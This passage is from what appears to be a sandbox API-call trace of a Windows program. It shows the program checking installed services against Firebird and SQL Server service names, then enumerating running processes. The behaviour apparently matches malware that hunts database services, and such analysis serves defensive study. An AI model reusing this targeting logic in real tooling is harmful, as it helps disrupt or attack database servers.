lpString2="DcomLaunch") returned 1 [0173.332] lstrlenW (lpString="DeviceAssociationService") returned 24 [0173.332] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0173.332] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0173.332] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0173.332] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0173.332] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0173.332] lstrlenW (lpString="Dhcp") returned 4 [0173.332] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0173.332] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0173.332] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0173.332] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0173.333] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0173.333] lstrlenW (lpString="Dnscache") returned 8 [0173.333] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0173.333] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0173.333] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0173.333] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0173.333] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0173.333] lstrlenW (lpString="DPS") returned 3 [0173.333] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0173.333] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0173.333] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0173.333] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0173.333] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0173.333] lstrlenW (lpString="DsmSvc") returned 6 [0173.333] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DsmSvc") returned 1 [0173.333] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DsmSvc") returned 1 [0173.333] lstrcmpiW (lpString1="sqlwriter", lpString2="DsmSvc") returned 1 [0173.333] lstrcmpiW (lpString1="mssqlserver", lpString2="DsmSvc") returned 1 [0173.333] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DsmSvc") returned 1 [0173.333] lstrlenW (lpString="DusmSvc") returned 7 [0173.333] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0173.333] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0173.333] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0173.333] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0173.333] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0173.333] lstrlenW (lpString="EventLog") returned 8 [0173.333] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0173.333] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0173.334] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0173.334] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0173.334] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0173.334] lstrlenW (lpString="EventSystem") returned 11 [0173.334] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0173.334] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0173.334] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0173.334] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0173.334] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0173.334] lstrlenW (lpString="FontCache") returned 9 [0173.334] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0173.334] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0173.334] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0173.334] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0173.334] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0173.334] lstrlenW (lpString="gpsvc") returned 5 [0173.334] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0173.334] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0173.334] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0173.334] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0173.334] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0173.334] lstrlenW (lpString="iphlpsvc") returned 8 [0173.334] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0173.334] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0173.334] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0173.334] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0173.334] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0173.335] lstrlenW (lpString="KeyIso") returned 6 [0173.335] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0173.335] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0173.335] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0173.335] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0173.335] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0173.335] lstrlenW (lpString="LanmanServer") returned 12 [0173.335] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0173.335] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0173.335] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0173.335] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0173.335] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0173.335] lstrlenW (lpString="LanmanWorkstation") returned 17 [0173.335] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0173.335] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0173.335] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0173.335] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0173.335] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0173.335] lstrlenW (lpString="lfsvc") returned 5 [0173.335] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0173.335] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0173.335] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0173.335] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0173.335] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0173.335] lstrlenW (lpString="lmhosts") returned 7 [0173.335] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0173.335] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0173.335] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0173.336] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0173.336] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0173.336] lstrlenW (lpString="LSM") returned 3 [0173.336] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0173.336] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0173.336] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0173.336] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0173.336] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0173.336] lstrlenW (lpString="MpsSvc") returned 6 [0173.336] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0173.336] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0173.336] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0173.336] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0173.336] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0173.336] lstrlenW (lpString="NcbService") returned 10 [0173.336] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0173.336] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0173.336] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0173.336] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0173.336] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0173.336] lstrlenW (lpString="netprofm") returned 8 [0173.336] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0173.336] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0173.336] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0173.336] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0173.336] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0173.336] lstrlenW (lpString="NgcSvc") returned 6 [0173.336] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0173.337] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0173.337] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0173.337] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0173.337] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0173.337] lstrlenW (lpString="NlaSvc") returned 6 [0173.337] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0173.337] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0173.337] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0173.337] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0173.337] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0173.337] lstrlenW (lpString="nsi") returned 3 [0173.337] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0173.337] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0173.337] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0173.337] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0173.337] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0173.337] lstrlenW (lpString="PcaSvc") returned 6 [0173.337] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0173.337] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0173.337] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0173.337] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0173.337] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0173.337] lstrlenW (lpString="PlugPlay") returned 8 [0173.337] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0173.337] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0173.337] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0173.337] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0173.337] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0173.338] lstrlenW (lpString="Power") returned 5 [0173.338] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0173.338] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0173.338] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0173.338] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0173.338] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0173.338] lstrlenW (lpString="ProfSvc") returned 7 [0173.338] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0173.338] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0173.338] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0173.338] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0173.338] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0173.338] lstrlenW (lpString="RpcEptMapper") returned 12 [0173.338] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0173.338] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0173.338] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0173.338] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0173.338] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0173.338] lstrlenW (lpString="RpcSs") returned 5 [0173.338] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0173.338] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0173.338] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0173.338] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0173.338] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0173.338] lstrlenW (lpString="SamSs") returned 5 [0173.338] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0173.338] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0173.338] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0173.339] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0173.339] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0173.339] lstrlenW (lpString="Schedule") returned 8 [0173.339] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0173.339] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0173.339] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0173.339] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0173.339] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0173.339] lstrlenW (lpString="SecurityHealthService") returned 21 [0173.339] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0173.339] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0173.339] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0173.339] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0173.339] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0173.339] lstrlenW (lpString="SENS") returned 4 [0173.339] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0173.339] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0173.339] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0173.339] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0173.339] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0173.339] lstrlenW (lpString="ShellHWDetection") returned 16 [0173.339] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0173.339] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0173.339] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0173.339] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0173.339] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0173.339] lstrlenW (lpString="Spooler") returned 7 [0173.339] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0173.340] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0173.340] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0173.340] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0173.340] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0173.340] lstrlenW (lpString="StateRepository") returned 15 [0173.340] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0173.340] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0173.340] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0173.340] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0173.340] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0173.340] lstrlenW (lpString="SysMain") returned 7 [0173.340] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0173.340] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0173.340] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0173.340] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0173.340] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0173.340] lstrlenW (lpString="SystemEventsBroker") returned 18 [0173.340] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0173.340] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0173.340] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0173.340] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0173.340] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0173.340] lstrlenW (lpString="Themes") returned 6 [0173.340] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0173.340] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0173.340] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0173.340] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0173.340] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0173.341] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0173.341] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0173.341] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0173.341] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0173.341] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0173.341] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x464b70 | out: hHeap=0x420000) returned 1 [0173.341] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x240 [0173.351] Process32FirstW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0173.351] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0173.352] lstrlenW (lpString="System") returned 6 [0173.352] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x13c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0173.352] lstrlenW (lpString="smss.exe") returned 8 [0173.352] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0173.353] lstrlenW (lpString="csrss.exe") returned 9 [0173.353] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0173.353] lstrlenW (lpString="wininit.exe") returned 11 [0173.353] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0173.354] lstrlenW (lpString="csrss.exe") returned 9 [0173.354] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0173.354] lstrlenW (lpString="winlogon.exe") returned 12 [0173.354] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0173.355] lstrlenW (lpString="services.exe") returned 12 [0173.355] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0173.356] lstrlenW (lpString="lsass.exe") returned 9 [0173.356] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0173.356] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0173.356] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0173.357] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0173.357] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0173.357] lstrlenW (lpString="svchost.exe") returned 11 [0173.357] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0173.358] lstrlenW (lpString="svchost.exe") returned 11 [0173.358] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0173.358] lstrlenW (lpString="dwm.exe") returned 7 [0173.358] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0173.359] lstrlenW (lpString="svchost.exe") returned 11 [0173.359] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0173.359] lstrlenW (lpString="svchost.exe") returned 11 [0173.359] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0173.360] lstrlenW (lpString="svchost.exe") returned 11 [0173.360] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x42, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0173.360] lstrlenW (lpString="svchost.exe") returned 11 [0173.360] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x28c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2b, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0173.361] lstrlenW (lpString="svchost.exe") returned 11 [0173.361] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x42c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0173.362] lstrlenW (lpString="svchost.exe") returned 11 [0173.362] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, 